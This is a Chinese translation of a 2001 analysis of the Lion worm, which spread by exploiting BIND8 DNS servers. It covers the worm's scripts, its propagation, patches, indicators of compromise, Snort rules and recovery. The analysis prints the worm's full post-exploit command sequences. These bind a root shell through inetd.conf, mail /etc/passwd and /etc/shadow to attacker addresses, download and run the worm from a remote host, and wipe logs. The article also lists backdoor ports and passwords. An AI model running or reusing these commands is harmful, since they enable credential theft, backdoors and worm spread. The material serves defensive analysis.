歡迎您光臨本站 註冊首頁

獅子蠕蟲解析

←手機掃碼閱讀     火星人 @ 2014-03-12 , reply:0
  原著:Max Vision
前言
Lion蠕蟲從2001年4月6日,由http://www.sans.org報道以來引起了廣泛的關注。它最初來源於(中國紅客聯盟,作者是一位中國「紅客」-lion。這個蠕蟲是這個組織針對日本修改教科書一事進行報復的一部分,從Lion蠕蟲感染系統後行為來看,其主要目的是搜集系統信息,可能是下一步攻擊的前奏。下面是HUC關於Lion蠕蟲的宣言:
because of the Japan's disrepect,cnhonker had been roused ,and the lion worm is just
to tell the Japanese chinese is not sheep,they must be answer for.They must assue
the obligation with their crime.They must assue their artion for the educational book
這篇文章的作者在文章中對此表達了自己的不滿,認為不應該以此目的散布Lion蠕蟲。在翻譯時,我將這一部分省略了。不過,如果單純從技術的角度來看,這個蠕蟲幾乎沒有任何新意,簡直是抄襲,它的傳播之所以能夠引起如此大的震動,主要要歸功於BIND8的兩個安全漏洞。是這兩個珠聯壁合的安全缺陷使Lion蠕蟲能夠大範圍攻擊DNS系統,快速傳播。


綜述
Lion蠕蟲有三個非常清晰的版本,是一個由腳本驅動的蠕蟲。第一版有一個感染常式和一個t0rn rootkit;第二版是第一版的一個改進版本,只是沒有rootkit;第三版幾乎就是ramen蠕蟲的一個翻版,只是exploit部分改為利用BIND8安全缺陷。
這三個版本有同樣的核心部分。這個蠕蟲有一個利用TCP連接進行掃描的埠掃描程序,BIND8 exploit程序,還有一些腳本用來粘連蠕蟲的各個部分,並驅動蠕蟲。前兩個版本的蠕蟲是從一台伺服器上下栽自己(中國境內的一台FreeBSD伺服器)。而第三版使用了分散式的傳播代碼,從前一台被感染的系統下載自身,這些代碼來自ramen蠕蟲,所有已經發現的Lion蠕蟲中都有下面這些文件:
1).li0n.sh 作者:蠕蟲的作者 shell腳本,刪除tcpwrapers訪問控制列表,運行getip.sh,把蠕蟲加入啟動腳本,接著運行star.sh
2).getip.sh 作者:蠕蟲的作者 shell腳本,把系統的IP地址、操作系統版本信息、/etc/passwd文件和/etc/shadow文件發送到攻擊者的email地址(li0nkit@china.com)
3).star.sh 作者:蠕蟲的作者 shell腳本,啟動scan.sh和hack.sh為後台進程。
4).scan.sh 作者:蠕蟲的作者 shell腳本,停止所有本地正在運行的BIND進程,運行randb選擇一個B類網址,接著對目標運行pscan,把結果保存在bindname.log。
5).randb 作者:不詳 Linux ELF二進位文件,列印一個隨機的B類IP地址,和ADMw0rm的gimmeRAND.c文件極為類似。
6).pscan 作者:不詳 Linux ELF二進位文件,是一個埠掃描程序,在一個給定的A、B、C範圍中掃描一個單一的TCP埠。首次發現,但是在源代碼中沒有作者的聲明。
7).hack.sh 作者:蠕蟲的作者 shell腳本,從bindname.log讀取並且使用bindx.sh攻擊目標。
8).bindx.sh 作者:蠕蟲的作者 shell腳本,啟動bind攻擊遠程目標
9).bind 作者:LSD Linux ELF二進位文件,攻擊有安全缺陷的bind-8.2.x BIND伺服器。

這是一個典型的蠕蟲,從以前的蠕蟲中抄襲了很多代碼,例如:ADMworm(1998)、Millenium Worm(1999)和Ramen Worm(2001)。除非認為hack.sh是為了驅動多個攻擊腳本,否則這個文件是多餘的。這個蠕蟲的作者在其中只放了一個攻擊程序,但是為使用多種攻擊留下擴展空間。其它的腳本也是從其它的蠕蟲改進的。

三個版本的lion蠕蟲都是用同樣的傳染、繁殖方式。lion蠕蟲的網路活動是從53/TCP埠開始的,它隨機掃描B類IP地址段。當發現一個BIND域名伺服器,就啟動攻擊程序攻擊目標。攻擊成功后,運行下載命令把自己下載到被侵入的主機,展開包,運行啟動腳本。

lion蠕蟲所做的第一步是使用pscan探測一個隨機的B類IP地址空間。我修理了一下randb程序使其總是返回10.0.0。我之所以選擇C類IP地址空間10.0.0.0/24,只不過是要減小日誌文件的大小。pscan程序使用完全連接掃描,它向這個地址空間的每個地址發出了一個同步包(SYN),這樣加快了掃描的速度,但是在日誌中也加入了更多的「噪音」,目標主機地址在10.0.0.23運行RedHat Linux6.2。被Lion蠕蟲感染的攻擊源主機在另外一個子網。如果在同一個子網,基於TCP連接的埠掃描程序將不對這個子網的主機進行掃描,除非響應ARP請求。

建立一個完整的連接:

03/26-02:09:58.233466 192.168.0.3:4556 -> 10.0.0.23:53
TCP TTL:64 TOS:0x0 ID:56799 IpLen:20 DgmLen:60 DF
******S* Seq: 0x16322CA3 Ack: 0x0 Win: 0x7D78 TcpLen: 40

03/26-02:09:58.247112 10.0.0.23:53 -> 192.168.0.3:4556
TCP TTL:64 TOS:0x0 ID:749 IpLen:20 DgmLen:60 DF
***A**S* Seq: 0x8BACEBE6 Ack: 0x16322CA4 Win: 0x7D78 TcpLen: 40

03/26-02:09:58.247190 192.168.0.3:4556 -> 10.0.0.23:53
TCP TTL:64 TOS:0x0 ID:56930 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x16322CA4 Ack: 0x8BACEBE7 Win: 0x7D78 TcpLen: 32

很優美地斷開連接:
03/26-02:09:58.344645 192.168.0.3:4556 -> 10.10.0.23:53
TCP TTL:64 TOS:0x0 ID:56932 IpLen:20 DgmLen:52 DF
***A***F Seq: 0x16322CA4 Ack: 0x8BACEBE7 Win: 0x7D78 TcpLen: 32

03/26-02:09:58.385016 10.0.0.23:53 -> 192.168.0.3:4556
TCP TTL:64 TOS:0x0 ID:750 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x8BACEBE7 Ack: 0x16322CA5 Win: 0x7D78 TcpLen: 32

03/26-02:09:58.386565 10.0.0.23:53 -> 192.168.0.3:4556
TCP TTL:64 TOS:0x0 ID:751 IpLen:20 DgmLen:52 DF
***A***F Seq: 0x8BACEBE7 Ack: 0x16322CA5 Win: 0x7D78 TcpLen: 32

03/26-02:09:58.386614 192.168.0.3:4556 -> 10.0.0.23:53
TCP TTL:64 TOS:0x0 ID:56934 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x16322CA5 Ack: 0x8BACEBE8 Win: 0x7D78 TcpLen: 32

pscan發現10.0.0.23符合其要求,就把這個地址加入到bindname.log文件。hack.sh腳本文件和掃描程序并行,跟蹤bindname.log文件。一旦發現有一個新的IP地址加入到bindname.log文件,hack.sh就啟動攻擊程序攻擊目標主機。

BIND攻擊程序是由LSD(the Last Satge of Delirium)發布的,lion蠕蟲的三個版本都使用了它作為自己的exploit程序。LSD於2001年2月8日在其網站上發布了linx86_bind.c,獅子蠕蟲v1.0就是使用的這個版本。然而,第二天,LSD升級了這個exploit程序,不過文件名沒有改變,只是做了一些輕微的改動。升級沒有做技術上的改動。新的exploit代碼中的一個顯著變化就是採用了不同的命令行參數。通過觀察命令行參數,我弄清楚了,獅子蠕蟲v1.0版使用的是2月8日發布的exploit代碼,而後兩個版本使用的是升級版本。而且,每個版本都使用不同的命令來攻擊遠程BIND主機。

我對獅子蠕蟲的分析被選用的示例目標平台弄複雜了。我使用一台安裝RedHat6.2的伺服器作為目標。恐怕這是Internet上最為流行的Linux發布和版本了。因此,它是最典型的示例目標。雖然,在exploit代碼中特別列出可以攻擊RedHat6.2平台,但是named並非Redhat默認啟動的服務。當它被激活(通過linuxconf或者ntsysv等工具),named是在named用戶的許可權下運行的。只有手工把named加入到啟動腳本中時,named以root的許可權運行,攻擊才有意義。因為每個版本的蠕蟲使用同樣的攻擊程序,所以除了命令外,捕獲的包幾乎完全相同。

首先,攻擊程序和目標主機的named進程建立一個TCP連接;接著,向目標主機發送一個定製的UDP/IQUERY包,利用BIND infoleak BUG,確定named進程棧禎的基指針。然後使用得到的信息構造TSIG exploit包。

TSIG包造成目標主機named緩衝區溢出。緩衝區溢出成功后,exploit程序的root shell就會遍歷named進程打開的文件描述符,尋找開始建立的TCP對話的描述符;然後,使用系統調用dup()把這個套接字描述符複製到STDIN、STDOUT、STDERR;最後啟動一個新的/bin/sh進程。

現在,這個TCP對話被綁定到了root shell上,攻擊程序就可以向其發出命令了。下面就是獅子蠕蟲通過攻擊程序發出的命令:
1).獅子V1.0:
PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin';
export PATH;
export TERM=vt100;
rm -rf /dev/.lib;
mkdir /dev/.lib;
cd /dev/.lib;
echo '1008 stream tcp nowait root /bin/sh sh' >>/etc/inetd.conf;
killall -HUP inetd;
ifconfig -a>1i0n;
cat /etc/passwd >>1i0n;
cat /etc/shadow >>1i0n;
mail 1i0nip@china.com <1i0n;
rm -fr 1i0n;
rm -fr /.bash_history;
lynx -dump http://coollion.51.net/crew.tgz >1i0n.tgz;
tar -zxvf 1i0n.tgz;
rm -fr 1i0n.tgz;
cd lib;
./1i0n.sh;
exit;

2).獅子V2.0
PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin';
export PATH;
export TERM=vt100;
rm -rf /dev/.lib;
mkdir /dev/.lib;
cd /dev/.lib;
echo '1008 stream tcp nowait root /bin/sh sh' >>/etc/inetd.conf;
killall -HUP inetd;
ifconfig -a>1i0n;
cat /etc/passwd >>1i0n;
cat /etc/shadow >>1i0n;
mail 1i0nip@china.com <1i0n;
rm -fr 1i0n;
rm -fr /.bash_history;
echo >/var/log/messages;
echo >/var/log/maillog;
lynx -dump http://coollion.51.net/crew.tgz >1i0n.tgz;
tar -zxvf 1i0n.tgz;
rm -fr 1i0n.tgz;
cd lib;
./1i0n.sh;
exit

3).獅子V3.0
PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin';
export PATH;
export TERM=vt100;
rm -rf /dev/.lib;
mkdir /dev/.lib;
cd /dev/.lib;
echo '10008 stream tcp nowait root /bin/sh sh' >>/etc/inetd.conf;
killall -HUP inetd;
ifconfig -a>1i0n;
cat /etc/passwd >>1i0n;
cat /etc/shadow >>1i0n;
mail huckit@china.com <1i0n;
rm -fr 1i0n;
rm -fr /.bash_history;
echo >/var/log/messages;
rm -rf /var/log/maillog;
echo 'Powered by H.U.C(c0011i0n).-----1i0n Crew' >index.html;
echo '#!/bin/sh' > lion;
echo 'nohup find / -name "index.html" -exec /bin/cp index.html {} ;'>>lion;
echo 'tar -xf 1i0n.tar'>>lion;
echo './1i0n.sh' >>lion;
echo >>lion;
echo >>lion;
chmod 755 lion;
TERM='linux'
export PATH='/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin'
lynx -source http://PREVIOUS-HOST-IP:27374 > 1i0n.tar;
./lion

獅子蠕蟲三個版本傳播方式最關鍵的不同是:前兩個版本使用lynx從一個網站下載worm,不具備分散式傳播的能力;而第三版使用從ramen蠕蟲的asp代碼進行傳播。這種方式使被攻擊染的主機向後連接到入侵主機的27374埠下載蠕蟲文件。這個埠由asp程序使用,這個程序由inet啟動,在inet.conf文件中的服務名是asp。在Redhat6.2系統內的/etc/services文件中對應的埠也是27374。

當獅子蠕蟲感染了一個遠程的系統,它就通過exploit程序發出命令下載自身代碼,解壓,並且在新的被入侵主機中啟動。 其感染過程如圖所示:


如何阻止其傳播
因為獅子蠕蟲只是利用BIND8 TSIG BUG傳播,所以通過修補這個安全缺陷可以組織其感染。從2001年月起,供應商開始提供安全補丁。有缺陷的Linux發布也發布了升級RPM包。針對這個安全缺陷的各種遠程exploit代碼在各個網上論壇和WEB站點廣為傳播。儘管有可靠的安全補丁,大量的系統仍然存在這個缺陷。


試圖隱藏BIND版本和伺服器運行的操作系統不能有效地阻止獅子蠕蟲的感染,因為這個蠕蟲會試圖感染其發現的所有BIND伺服器。由LSD編寫的exploit代碼可以自動利用BIND8 infoleak缺陷判斷系統可否感染。

Caldera, Conectiva, Debian, Immunix, Mandrake, Redhat, Slackware, SuSE和 TurboLinux已經推出了針對這個缺陷的補丁和升級版本。下面是相關連接:
Caldera: http://www.caldera.com/support/security/advisories/CSSA-2001-008.1.txt
Conectiva: http://distro.conectiva.com/atualizacoes/?id=a&anuncio=000377
Debian: http://www.debian.org/security/2001/dsa-026
Immunix: http://download.immunix.org/ImmunixOS/7.0-beta/updates/IMNX-2001-70-001-01
Mandrake: http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-017.php3
Redhat: http://www.redhat.com/support/errata/RHSA-2001-007.html
Slackware: http://www.linuxsecurity.com/advisories/slackware_advisory-1121.html
SuSE: http://www.suse.com/de/support/security/2001_003_bind8_%20txt.txt
TurboLinux: http://www.turbolinux.com/pipermail/tl-security-announce/2001-February/000034.html

如何檢查自己的系統是否被感染
Redhat6.2的默認安裝環境下,掃描和BIND exploit攻擊不會在系統的日誌中留下記錄。其它的系統可能有所不同。雖然獅子蠕蟲的三個版本都截斷或者刪除/var/log/maillog文件,但是可以通過代理郵件網關或者防火牆進行跟蹤蠕蟲把信息發送到的郵件地址。三個版本使用的郵件地址如下:
1).獅子v1.0
li0nip@china.com
li0nsniffer@china.com
2).獅子v2.0
li0nip@china.com
li0nkit@china.com
3).獅子v3.0
huckit@china.com

下面是獅子蠕蟲改變的文件:
1).lion v1.0
BIND exploit程序改變的文件:
/dev/.lib/ 目錄和其中的內容
/etc/inetd.conf 文件中加入 '1008 stream tcp nowait root /bin/sh sh'
/.bash_history 被刪除

蠕蟲腳本改變的文件:
/etc/rc.d/rc.sysinit 文件加入了一個新的入口'/dev/.lib/lib/scan/star.sh'
/etc/hosts.deny is missing (an empty placeholder file is present by default) 文件被刪除,由一個空文件取代

被t0rn rootkit改變的文件:
/etc/inetd.conf 文件中加入 '60008 stream tcp nowait root /bin/sh sh'
/etc/inetd.conf 文件中加入'33567 stream tcp nowait root /bin/sh sh'
/etc/ttyhash 文件被加入到系統 (中國紅客密碼的散列值)
/usr/man/man1/man1/lib/.lib/ 目錄及其內容
/usr/src/.puta/ 目錄及其內容
/usr/info/.t0rn/ 目錄及其內容
/bin/mjy 被加入到系統(日誌擦除工具)
/usr/man/man1/man1/lib/.lib/.x 被加入到系統(suid root shell)
/etc/rc.d/rc.sysinit 文件中加入nscd (not in the worm) 和in.telnetd的木馬版本
/tmp/.pinespool 文件 (維護inetd.conf的臨時文件)
/root/.bash_history 被刪除
/var/log/messages 被截斷
/var/log/maillog 被截斷

被木馬程序代替的文件:
/bin/in.telnetd
/usr/sbin/in.fingerd
/bin/ps
/sbin/ifconfig
/usr/bin/du
/bin/netstat
/usr/bin/top
/bin/ls
/usr/bin/find
注意:William Sterns寫了一個軟體lionfind-0.1.tar.gz檢查系統是否被獅子v1.0感染

lionv2.0
BIND exploit改變的內容:
/dev/.lib/ 目錄及其內容
/etc/inetd.conf 文件中加入 '1008 stream tcp nowait root /bin/sh sh'
/.bash_history 被刪除
/var/log/messages 被截斷
/var/log/maillog 被截斷

蠕蟲腳本改變的文件:
/etc/rc.d/rc.sysinit 文件中加入 '/dev/.lib/lib/scan/star.sh' (wrong directory buddy)
/etc/hosts.deny i被刪除(an empty placeholder file is present by default)

lionv3.0
/dev/.lib/ 目錄及其內容
/etc/inetd.conf 文件中加入 '10008 stream tcp nowait root /bin/sh sh'
/.bash_history 被刪除
/var/log/messages 被截斷
/var/log/maillog被刪除
所有的index.html文件被'Powered by H.U.C(c0011i0n).-----1i0n Crew'覆蓋

蠕蟲腳本改變的文件:
/sbin/asp被加入到系統 (lite webserver to allow download of worm to next system)
/tmp/ramen.tgz文件(Lion worm author used the asp62 binary from the Ramen worm)
/etc/inetd.conf 文件中加入 'asp stream tcp nowait root /sbin/asp'
/etc/rc.d/rc.sysinit 文件中加入 '/dev/.lib/star.sh'
/etc/hosts.deny 被刪除(用一個空的文件取代)
所有的index.html 文件被"lion crew" 反日信息取代


下面這些埠是獅子蠕蟲的後門,而其1.0版的後門特別多。
lion v1.0
telnetd程序在23/TCP埠監聽,使用cnhonker作為密碼登錄,來自t0rn rootkit。
/bin/sh綁定到1008/TCP埠,來自BIND8攻擊程序。
/bin/sh綁定到2555/TCP埠,來自t0rn rootkit,由in.fingerd程序的特洛伊木馬版本激活。
/bin/sh綁定到33567/TCP埠,來自t0rn。
sshd在33568/TCP埠監聽,使用cnhonker作為密碼登錄,來自t0rn rootkit。
/bin/sh綁定到60008/TCP埠,來自t0rn。

lion v2.0
/bin/sh綁定到1008埠,來自BIND8攻擊程序。

lion v3.0
/bin/sh綁定到1008埠,來自BIND8攻擊程序。
/sbin/asp綁定到27374/TCP埠,一個輕量級的WEB伺服器,用來下載蠕蟲。


檢測
使用下面的snort arachNIDS規則能夠檢測蠕蟲的感染。

pscan使用如下規則啟動snort的埠掃描插件:
preprocessor portscan: $INTERNAL 3 5 /var/log/snort/portscan

BIND infoleak許可權使用如下規則集來檢測:
alert UDP $EXTERNAL any -> $INTERNAL 53 (msg: "IDS482/named-exploit-infoleak-lsd"; content: "|AB
CD 09 80 00 00 00 01 00 00 00 00 00 00 01 00 01 20 20 20 20 02 61|"; reference:arachnids,482;)

BIND8 TSIG緩衝區溢出使用下面arachNIDS規則檢測:
alert UDP $EXTERNAL any -> $INTERNAL 53 (msg: "IDS489/named-exploit-tsig-lsd"; content: "|3F
909090 EB3B 31DB 5F 83EF7C 8D7710 897704 8D4F20|"; reference:arachnids,489;)

向外發的郵件也可以檢測。然而,加入郵件檢測對於IDS的性能得不償失。而且,在不出發上面規則的情況下蠕蟲無法發出郵件。


事故恢復
殺死蠕蟲的進程,刪除其文件,刪除後門只是你清楚獅子蠕蟲的一部分。不幸的是,你的系統是在root曾被攻擊的,你的IP地址和密碼信息已經被發送給攻擊者了。他們可以使用這些信息通過後門登錄到你的系統並且對系統做其它的改變。而且,攻擊者編寫這個蠕蟲的目的並不是為了修復系統的安全缺陷,所以其它的攻擊者仍舊能夠利用它攻擊系統。要對系統進行徹底的恢復請參考Steps for Recovering from a UNIX Root Compromise


事故報告
通常,攻擊的發起地址也是被感染的系統,所以最好報告給你的緊急處理小組。


[火星人 ] 獅子蠕蟲解析已經有787次圍觀

http://coctec.com/docs/security/show-post-72943.html